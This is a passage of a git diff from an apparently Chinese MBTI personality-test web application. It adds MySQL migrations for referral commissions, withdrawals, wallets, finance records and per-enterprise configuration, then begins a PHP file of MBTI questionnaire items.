COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`), + UNIQUE KEY `uk_invitee_scope_ent` (`inviteeId`, `scope`, `enterpriseId`), + INDEX `idx_inviterId` (`inviterId`), + INDEX `idx_inviteeId` (`inviteeId`), + INDEX `idx_prevInviterId` (`prevInviterId`), + INDEX `idx_expireAt` (`expireAt`), + INDEX `idx_status` (`status`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='分销绑定记录表'; + +-- ---------------------------- +-- 2. 新建分销提现记录表 +-- ---------------------------- +CREATE TABLE IF NOT EXISTS `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `realNameInfo` varchar(500) NULL DEFAULT NULL COMMENT '收款实名信息 JSON', + `status` varchar(20) NOT NULL DEFAULT 'pending' COMMENT 'pending/approved/rejected/transferred', + `auditNote` varchar(500) NULL DEFAULT NULL COMMENT '审核备注', + `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', + `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', + `createdAt` int(11) NULL DEFAULT NULL, + `updatedAt` int(11) NULL DEFAULT NULL, + PRIMARY KEY (`id`), + INDEX `idx_userId` (`userId`), + INDEX `idx_status` (`status`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='分销提现记录表'; + +-- ---------------------------- +-- 3. wechat_users 增加钱包字段(逐列判断,MySQL 5.7 兼容) +-- ---------------------------- +SET @dbname = DATABASE(); + +-- walletBalance +SET @col = 'walletBalance'; +SET @tbl = 'mbti_wechat_users'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT ''钱包余额(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- walletTotalEarned +SET @col = 'walletTotalEarned'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT ''历史累计佣金(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- walletPending +SET @col = 'walletPending'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT ''待入账佣金(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- ---------------------------- +-- 4. commission_records 增加分销字段(逐列判断) +-- ---------------------------- +SET @tbl = 'mbti_commission_records'; + +SET @col = 'scope'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `scope` varchar(20) NOT NULL DEFAULT ''personal'' COMMENT ''分销维度'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'enterpriseId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `enterpriseId` int(11) NULL DEFAULT NULL COMMENT ''企业ID'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'inviterId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `inviterId` int(11) NULL DEFAULT NULL COMMENT ''推荐人ID'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'inviteeId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `inviteeId` int(11) NULL DEFAULT NULL COMMENT ''付款用户ID'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'bindingId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `bindingId` int(11) NULL DEFAULT NULL COMMENT ''绑定记录ID'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'orderAmount'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT ''订单金额(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'commissionFen'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT ''佣金金额(分)'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'frozenAt'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `frozenAt` int(11) NULL DEFAULT NULL COMMENT ''冻结时间'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @col = 'unfrozenAt'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.COLUMNS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND COLUMN_NAME = @col) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD COLUMN `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT ''解冻时间'''), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- status 字段类型修改 +ALTER TABLE `mbti_commission_records` + MODIFY COLUMN `status` varchar(20) NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled'; + +-- ---------------------------- +-- 5. 补充索引(忽略已存在的,用 CREATE INDEX 方式) +-- ---------------------------- +SET @tbl = 'mbti_commission_records'; + +SET @idx = 'idx_scope'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.STATISTICS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND INDEX_NAME = @idx) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD INDEX `idx_scope` (`scope`)'), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @idx = 'idx_dist_enterpriseId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.STATISTICS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND INDEX_NAME = @idx) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD INDEX `idx_dist_enterpriseId` (`enterpriseId`)'), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +SET @idx = 'idx_inviterId'; +SET @sql = IF( + (SELECT COUNT(*) FROM information_schema.STATISTICS + WHERE TABLE_SCHEMA = @dbname AND TABLE_NAME = @tbl AND INDEX_NAME = @idx) = 0, + CONCAT('ALTER TABLE `', @tbl, '` ADD INDEX `idx_inviterId` (`inviterId`)'), + 'SELECT 1' +); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/api/database/add_enterprise_id_to_system_config.sql b/api/database/add_enterprise_id_to_system_config.sql new file mode 100644 index 0000000..39e5532 --- /dev/null +++ b/api/database/add_enterprise_id_to_system_config.sql @@ -0,0 +1,34 @@ +-- 迁移:system_config 新增 enterprise_id 列 +-- enterprise_id = 0 表示全局/超管配置,> 0 表示对应企业的配置 +-- 执行前请先备份数据库 + +-- 1. 新增 enterprise_id 列(默认 0 = 全局) +ALTER TABLE `mbti_system_config` + ADD COLUMN `enterprise_id` INT NOT NULL DEFAULT 0 COMMENT '企业ID,0=全局/个人版' AFTER `key`; + +-- 2. 删除旧的单字段唯一索引,改为 (key, enterprise_id) 联合唯一索引 +ALTER TABLE `mbti_system_config` DROP INDEX `idx_key`; +ALTER TABLE `mbti_system_config` ADD UNIQUE INDEX `idx_key_eid` (`key`, `enterprise_id`); + +-- 3. 迁移旧数据:poster_config_eid_N → key='poster_config', enterprise_id=N +UPDATE `mbti_system_config` +SET `enterprise_id` = CAST(SUBSTRING_INDEX(`key`, '_eid_', -1) AS UNSIGNED), + `key` = 'poster_config' +WHERE `key` LIKE 'poster_config_eid_%'; + +-- 4. 迁移旧数据:distribution_enterprise_N → key='distribution', enterprise_id=N +UPDATE `mbti_system_config` +SET `enterprise_id` = CAST(SUBSTRING_INDEX(`key`, 'distribution_enterprise_', -1) AS UNSIGNED), + `key` = 'distribution' +WHERE `key` LIKE 'distribution_enterprise_%'; + +-- 5. 迁移旧数据:distribution_personal → key='distribution', enterprise_id=0 +UPDATE `mbti_system_config` +SET `key` = 'distribution' +WHERE `key` = 'distribution_personal'; + +-- 6. 迁移旧数据:miniprogram_config_eid_N → key='text_config', enterprise_id=N +UPDATE `mbti_system_config` +SET `enterprise_id` = CAST(SUBSTRING_INDEX(`key`, '_eid_', -1) AS UNSIGNED), + `key` = 'text_config' +WHERE `key` LIKE 'miniprogram_config_eid_%'; diff --git a/api/database/add_finance_records.sql b/api/database/add_finance_records.sql new file mode 100644 index 0000000..c081852 --- /dev/null +++ b/api/database/add_finance_records.sql @@ -0,0 +1,18 @@ +-- 企业财务流水表 +-- 用于记录企业余额充值、测试收入入账、佣金扣减等变动 + +CREATE TABLE IF NOT EXISTS `mbti_finance_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(20) NOT NULL COMMENT '类型: recharge/consume/refund', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', + `description` varchar(255) NULL DEFAULT NULL COMMENT '描述', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`), + KEY `idx_enterpriseId` (`enterpriseId`), + KEY `idx_type` (`type`), + KEY `idx_createdAt` (`createdAt`) +) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci COMMENT='财务记录表'; diff --git a/api/database/add_orders_product_title.sql b/api/database/add_orders_product_title.sql new file mode 100644 index 0000000..e9c7b8e --- /dev/null +++ b/api/database/add_orders_product_title.sql @@ -0,0 +1,3 @@ +ALTER TABLE `mbti_orders` +ADD COLUMN `productTitle` varchar(255) NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)' AFTER `productType`; + diff --git a/api/database/add_test_commission_fields.sql b/api/database/add_test_commission_fields.sql new file mode 100644 index 0000000..0725e1c --- /dev/null +++ b/api/database/add_test_commission_fields.sql @@ -0,0 +1,9 @@ +-- 为测试完成佣金补充 commission_records 新字段 +-- 执行前请先确认表前缀是否为 mbti_ + +ALTER TABLE `mbti_commission_records` + ADD COLUMN `testResultId` int(11) NULL DEFAULT NULL COMMENT '测试结果ID(测试完成佣金使用,关联 test_results.id)' AFTER `orderId`, + ADD COLUMN `commissionSource` varchar(20) NOT NULL DEFAULT 'payment' COMMENT '佣金来源: payment|test_completion' AFTER `testResultId`; + +ALTER TABLE `mbti_commission_records` + ADD UNIQUE KEY `uk_test_commission` (`testResultId`, `commissionSource`); diff --git a/api/database/add_test_scope.sql b/api/database/add_test_scope.sql new file mode 100644 index 0000000..15d9f84 --- /dev/null +++ b/api/database/add_test_scope.sql @@ -0,0 +1,12 @@ +-- 为 test_results 新增 testScope 字段,明确区分企业版与个人版 +-- personal:用户从个人链接/个人页发起的测试(定价走 admin_personal) +-- enterprise:用户从企业分享链接发起的测试(定价走 admin_enterprise) +-- 执行前请确认表前缀,默认为 mbti_ + +ALTER TABLE `mbti_test_results` + ADD COLUMN `testScope` varchar(20) NOT NULL DEFAULT 'personal' + COMMENT '测试来源版本: personal=个人版 enterprise=企业版' + AFTER `enterpriseId`; + +-- 将已有记录中 enterpriseId 非空的补标为 enterprise(兼容历史数据) +UPDATE `mbti_test_results` SET `testScope` = 'enterprise' WHERE `enterpriseId` IS NOT NULL; diff --git a/api/database/export_questions_data.php b/api/database/export_questions_data.php new file mode 100644 index 0000000..51c7735 --- /dev/null +++ b/api/database/export_questions_data.php @@ -0,0 +1,201 @@ + 1, 'question' => '在社交场合中,您通常会:', 'options' => [['value' => 'E', 'text' => '认识新朋友,扩大社交圈'], ['value' => 'I', 'text' => '与已认识的朋友交流,保持小圈子']], 'dimension' => 'EI'], + ['id' => 2, 'question' => '您更喜欢:', 'options' => [['value' => 'E', 'text' => '在团队中工作,与他人合作'], ['value' => 'I', 'text' => '独立工作,自己思考问题']], 'dimension' => 'EI'], + ['id' => 3, 'question' => '当您需要充电时,您会选择:', 'options' => [['value' => 'E', 'text' => '与朋友聚会,参加社交活动'], ['value' => 'I', 'text' => '独处,阅读或进行个人爱好']], 'dimension' => 'EI'], + ['id' => 4, 'question' => '在会议或讨论中,您通常:', 'options' => [['value' => 'E', 'text' => '积极发言,边说边思考'], ['value' => 'I', 'text' => '先思考,然后再发表意见']], 'dimension' => 'EI'], + ['id' => 5, 'question' => '您更倾向于:', 'options' => [['value' => 'E', 'text' => '认识很多人,建立广泛的社交网络'], ['value' => 'I', 'text' => '与少数几个人建立深厚的友谊']], 'dimension' => 'EI'], + ['id' => 6, 'question' => '在工作环境中,您更喜欢:', 'options' => [['value' => 'E', 'text' => '开放的办公空间,可以随时与同事交流'], ['value' => 'I', 'text' => '安静的私人空间,可以专注工作']], 'dimension' => 'EI'], + ['id' => 7, 'question' => '当面对问题时,您更倾向于:', 'options' => [['value' => 'E', 'text' => '与他人讨论,获取不同观点'], ['value' => 'I', 'text' => '独自思考,寻找解决方案']], 'dimension' => 'EI'], + ['id' => 8, 'question' => '您更喜欢的休闲活动是:', 'options' => [['value' => 'E', 'text' => '参加派对、团体活动或体育比赛'], ['value' => 'I', 'text' => '阅读、看电影或独自进行创作']], 'dimension' => 'EI'], + ['id' => 9, 'question' => '在陌生环境中,您通常会:', 'options' => [['value' => 'E', 'text' => '主动与他人交谈,快速融入环境'], ['value' => 'I', 'text' => '观察周围环境,等待他人接近']], 'dimension' => 'EI'], + ['id' => 10, 'question' => '您认为自己是:', 'options' => [['value' => 'E', 'text' => '外向、健谈的人'], ['value' => 'I', 'text' => '内敛、安静的人']], 'dimension' => 'EI'], + ['id' => 11, 'question' => '长时间的社交活动后,您通常会:', 'options' => [['value' => 'E', 'text' => '感到精力充沛,想继续社交'], ['value' => 'I', 'text' => '感到疲惫,需要独处恢复精力']], 'dimension' => 'EI'], + ['id' => 12, 'question' => '您更喜欢的工作方式是:', 'options' => [['value' => 'E', 'text' => '与团队一起头脑风暴和协作'], ['value' => 'I', 'text' => '独立思考和解决问题']], 'dimension' => 'EI'], + ['id' => 13, 'question' => '您更容易:', 'options' => [['value' => 'E', 'text' => '在说话的过程中组织思路'], ['value' => 'I', 'text' => '在说话前先组织好思路']], 'dimension' => 'EI'], + ['id' => 14, 'question' => '您更喜欢的学习方式是:', 'options' => [['value' => 'E', 'text' => '小组讨论和互动学习'], ['value' => 'I', 'text' => '自学和独立研究']], 'dimension' => 'EI'], + ['id' => 15, 'question' => '当您有好消息时,您会:', 'options' => [['value' => 'E', 'text' => '立即告诉朋友和家人分享喜悦'], ['value' => 'I', 'text' => '只告诉少数几个亲近的人']], 'dimension' => 'EI'], + ['id' => 16, 'question' => '您更喜欢的假期类型是:', 'options' => [['value' => 'E', 'text' => '热闹的旅游胜地,有很多活动和人'], ['value' => 'I', 'text' => '安静的度假地,可以放松和思考']], 'dimension' => 'EI'], + ['id' => 17, 'question' => '在团队项目中,您更倾向于:', 'options' => [['value' => 'E', 'text' => '担任协调者或发言人的角色'], ['value' => 'I', 'text' => '负责研究或分析的工作']], 'dimension' => 'EI'], + ['id' => 18, 'question' => '您更喜欢的通讯方式是:', 'options' => [['value' => 'E', 'text' => '面对面交谈或视频通话'], ['value' => 'I', 'text' => '电子邮件或文字消息']], 'dimension' => 'EI'], + ['id' => 19, 'question' => '当您遇到困难时,您更倾向于:', 'options' => [['value' => 'E', 'text' => '寻求他人的建议和支持'], ['value' => 'I', 'text' => '自己思考解决方案']], 'dimension' => 'EI'], + ['id' => 20, 'question' => '您更喜欢的工作环境是:', 'options' => [['value' => 'E', 'text' => '充满活力和互动的环境'], ['value' => 'I', 'text' => '安静和专注的环境']], 'dimension' => 'EI'], + ['id' => 21, 'question' => '您更倾向于:', 'options' => [['value' => 'E', 'text' => '在多个社交圈中活跃'], ['value' => 'I', 'text' => '在一个小圈子中深入交往']], 'dimension' => 'EI'], + ['id' => 22, 'question' => '您更喜欢:', 'options' => [['value' => 'E', 'text' => '参加大型社交活动'], ['value' => 'I', 'text' => '与一两个朋友进行深入交流']], 'dimension' => 'EI'], + ['id' => 23, 'question' => '您更倾向于:', 'options' => [['value' => 'E', 'text' => '在公共场合表达自己的想法'], ['value' => 'I', 'text' => '在私下或小范围内分享想法']], 'dimension' => 'EI'], + // S vs N 维度问题 (22题) + ['id' => 24, 'question' => '当面对新信息时,您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注具体细节和事实'], ['value' => 'N', 'text' => '寻找模式和可能性']], 'dimension' => 'SN'], + ['id' => 25, 'question' => '您更相信:', 'options' => [['value' => 'S', 'text' => '实际经验和直接观察'], ['value' => 'N', 'text' => '直觉和想象力']], 'dimension' => 'SN'], + ['id' => 26, 'question' => '您更喜欢处理:', 'options' => [['value' => 'S', 'text' => '已知的、确定的信息'], ['value' => 'N', 'text' => '理论性的、抽象的概念']], 'dimension' => 'SN'], + ['id' => 27, 'question' => '在解决问题时,您更倾向于:', 'options' => [['value' => 'S', 'text' => '使用已证实有效的方法'], ['value' => 'N', 'text' => '尝试创新的解决方案']], 'dimension' => 'SN'], + ['id' => 28, 'question' => '您更关注:', 'options' => [['value' => 'S', 'text' => '当下的现实和实际情况'], ['value' => 'N', 'text' => '未来的可能性和潜在发展']], 'dimension' => 'SN'], + ['id' => 29, 'question' => '您更喜欢的工作类型是:', 'options' => [['value' => 'S', 'text' => '有明确指导和具体步骤的工作'], ['value' => 'N', 'text' => '允许创新和探索的工作']], 'dimension' => 'SN'], + ['id' => 30, 'question' => '您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注实际和现实的细节'], ['value' => 'N', 'text' => '思考概念和理论']], 'dimension' => 'SN'], + ['id' => 31, 'question' => '您更喜欢的书籍或电影是:', 'options' => [['value' => 'S', 'text' => '基于现实的故事或纪实作品'], ['value' => 'N', 'text' => '科幻、奇幻或充满想象力的作品']], 'dimension' => 'SN'], + ['id' => 32, 'question' => '在学习新技能时,您更倾向于:', 'options' => [['value' => 'S', 'text' => '按部就班地学习,掌握每个具体步骤'], ['value' => 'N', 'text' => '先了解整体概念,然后填补细节']], 'dimension' => 'SN'], + ['id' => 33, 'question' => '您更喜欢的工作环境是:', 'options' => [['value' => 'S', 'text' => '有明确结构和规则的环境'], ['value' => 'N', 'text' => '灵活多变,鼓励创新的环境']], 'dimension' => 'SN'], + ['id' => 34, 'question' => '您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注现实和实际问题'], ['value' => 'N', 'text' => '思考未来和可能性']], 'dimension' => 'SN'], + ['id' => 35, 'question' => '在描述事物时,您更倾向于:', 'options' => [['value' => 'S', 'text' => '提供具体细节和精确描述'], ['value' => 'N', 'text' => '使用比喻和隐喻,强调整体印象']], 'dimension' => 'SN'], + ['id' => 36, 'question' => '您更喜欢的工作任务是:', 'options' => [['value' => 'S', 'text' => '需要精确和注重细节的任务'], ['value' => 'N', 'text' => '需要创造力和想象力的任务']], 'dimension' => 'SN'], + ['id' => 37, 'question' => '您更相信:', 'options' => [['value' => 'S', 'text' => '亲眼所见和实际经验'], ['value' => 'N', 'text' => '直觉和内在感受']], 'dimension' => 'SN'], + ['id' => 38, 'question' => '在讨论问题时,您更关注:', 'options' => [['value' => 'S', 'text' => '具体事实和实际例子'], ['value' => 'N', 'text' => '概念和理论框架']], 'dimension' => 'SN'], + ['id' => 39, 'question' => '您更喜欢的学习方式是:', 'options' => [['value' => 'S', 'text' => '通过实践和具体例子学习'], ['value' => 'N', 'text' => '通过理论和概念学习']], 'dimension' => 'SN'], + ['id' => 40, 'question' => '您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注现在和过去的经验'], ['value' => 'N', 'text' => '思考未来和可能发生的事情']], 'dimension' => 'SN'], + ['id' => 41, 'question' => '在解决问题时,您更依赖:', 'options' => [['value' => 'S', 'text' => '已经证明有效的方法和经验'], ['value' => 'N', 'text' => '创新的思路和直觉']], 'dimension' => 'SN'], + ['id' => 42, 'question' => '您更喜欢的工作是:', 'options' => [['value' => 'S', 'text' => '有明确目标和具体步骤的工作'], ['value' => 'N', 'text' => '允许探索和创新的工作']], 'dimension' => 'SN'], + ['id' => 43, 'question' => '您更倾向于:', 'options' => [['value' => 'S', 'text' => '关注实际和现实的问题'], ['value' => 'N', 'text' => '思考抽象和理论性的问题']], 'dimension' => 'SN'], + ['id' => 44, 'question' => '您更喜欢:', 'options' => [['value' => 'S', 'text' => '按照既定的方法和程序工作'], ['value' => 'N', 'text' => '尝试新的方法和创新的解决方案']], 'dimension' => 'SN'], + ['id' => 45, 'question' => '您更关注:', 'options' => [['value' => 'S', 'text' => '实际的细节和具体的事实'], ['value' => 'N', 'text' => '整体的概念和潜在的可能性']], 'dimension' => 'SN'], + // T vs F 维度问题 (22题) + ['id' => 46, 'question' => '在做决定时,您通常会:', 'options' => [['value' => 'T', 'text' => '考虑逻辑和客观分析'], ['value' => 'F', 'text' => '考虑个人价值观和他人感受']], 'dimension' => 'TF'], + ['id' => 47, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '公正客观地分析情况'], ['value' => 'F', 'text' => '考虑决定对人的影响']], 'dimension' => 'TF'], + ['id' => 48, 'question' => '在解决冲突时,您更关注:', 'options' => [['value' => 'T', 'text' => '找出问题的根本原因和逻辑解决方案'], ['value' => 'F', 'text' => '维护关系和照顾各方感受']], 'dimension' => 'TF'], + ['id' => 49, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '直接指出问题,即使可能伤害他人感受'], ['value' => 'F', 'text' => '委婉表达,避免伤害他人感受']], 'dimension' => 'TF'], + ['id' => 50, 'question' => '在评估情况时,您更重视:', 'options' => [['value' => 'T', 'text' => '客观事实和逻辑分析'], ['value' => 'F', 'text' => '人际关系和价值观']], 'dimension' => 'TF'], + ['id' => 51, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '保持客观,不受个人情感影响'], ['value' => 'F', 'text' => '考虑决定对他人的情感影响']], 'dimension' => 'TF'], + ['id' => 52, 'question' => '在团队中,您更关注:', 'options' => [['value' => 'T', 'text' => '任务的完成和效率'], ['value' => 'F', 'text' => '团队和谐和成员满意度']], 'dimension' => 'TF'], + ['id' => 53, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '基于逻辑和事实做决定'], ['value' => 'F', 'text' => '基于价值观和个人信念做决定']], 'dimension' => 'TF'], + ['id' => 54, 'question' => '在给予反馈时,您更倾向于:', 'options' => [['value' => 'T', 'text' => '直接指出问题和改进方向'], ['value' => 'F', 'text' => '先肯定优点,再委婉提出建议']], 'dimension' => 'TF'], + ['id' => 55, 'question' => '您更看重:', 'options' => [['value' => 'T', 'text' => '公平和一致性'], ['value' => 'F', 'text' => '同情和个人情况']], 'dimension' => 'TF'], + ['id' => 56, 'question' => '在工作中,您更重视:', 'options' => [['value' => 'T', 'text' => '效率和成果'], ['value' => 'F', 'text' => '团队合作和人际关系']], 'dimension' => 'TF'], + ['id' => 57, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '客观分析问题,不受个人情感影响'], ['value' => 'F', 'text' => '考虑决定对人的影响和感受']], 'dimension' => 'TF'], + ['id' => 58, 'question' => '在处理冲突时,您更倾向于:', 'options' => [['value' => 'T', 'text' => '关注问题本身,寻求公正的解决方案'], ['value' => 'F', 'text' => '关注人际关系,寻求和谐的解决方案']], 'dimension' => 'TF'], + ['id' => 59, 'question' => '您更看重:', 'options' => [['value' => 'T', 'text' => '真实和诚实,即使可能伤害感情'], ['value' => 'F', 'text' => '善良和体贴,避免伤害他人']], 'dimension' => 'TF'], + ['id' => 60, 'question' => '在评价他人时,您更倾向于:', 'options' => [['value' => 'T', 'text' => '客观评价其表现和能力'], ['value' => 'F', 'text' => '考虑其努力和意图']], 'dimension' => 'TF'], + ['id' => 61, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '基于原则和规则做决定'], ['value' => 'F', 'text' => '基于具体情况和个人需求做决定']], 'dimension' => 'TF'], + ['id' => 62, 'question' => '在处理问题时,您更关注:', 'options' => [['value' => 'T', 'text' => '找出最有效的解决方案'], ['value' => 'F', 'text' => '确保所有人都感到被尊重和理解']], 'dimension' => 'TF'], + ['id' => 63, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '保持客观和理性'], ['value' => 'F', 'text' => '表达同理心和关怀']], 'dimension' => 'TF'], + ['id' => 64, 'question' => '在做决定时,您更看重:', 'options' => [['value' => 'T', 'text' => '逻辑和一致性'], ['value' => 'F', 'text' => '价值观和人际和谐']], 'dimension' => 'TF'], + ['id' => 65, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '分析问题,寻找最佳解决方案'], ['value' => 'F', 'text' => '理解他人感受,寻求共识']], 'dimension' => 'TF'], + ['id' => 66, 'question' => '在工作中,您更重视:', 'options' => [['value' => 'T', 'text' => '完成任务和达成目标'], ['value' => 'F', 'text' => '维护良好的工作关系']], 'dimension' => 'TF'], + ['id' => 67, 'question' => '您更倾向于:', 'options' => [['value' => 'T', 'text' => '基于事实和数据做决定'], ['value' => 'F', 'text' => '考虑决定对人的影响']], 'dimension' => 'TF'], + // J vs P 维度问题 (23题) + ['id' => 68, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '提前计划并按计划执行'], ['value' => 'P', 'text' => '保持灵活,根据情况调整']], 'dimension' => 'JP'], + ['id' => 69, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '按时完成任务,避免拖延'], ['value' => 'P', 'text' => '在最后期限前完成任务,保持灵活性']], 'dimension' => 'JP'], + ['id' => 70, 'question' => '您更喜欢的工作环境是:', 'options' => [['value' => 'J', 'text' => '有明确的规则和结构'], ['value' => 'P', 'text' => '灵活多变,允许即兴发挥']], 'dimension' => 'JP'], + ['id' => 71, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '制定详细的计划并遵循'], ['value' => 'P', 'text' => '根据情况随机应变']], 'dimension' => 'JP'], + ['id' => 72, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '有条理和组织的生活方式'], ['value' => 'P', 'text' => '自然流动和灵活的生活方式']], 'dimension' => 'JP'], + ['id' => 73, 'question' => '在做决定时,您更倾向于:', 'options' => 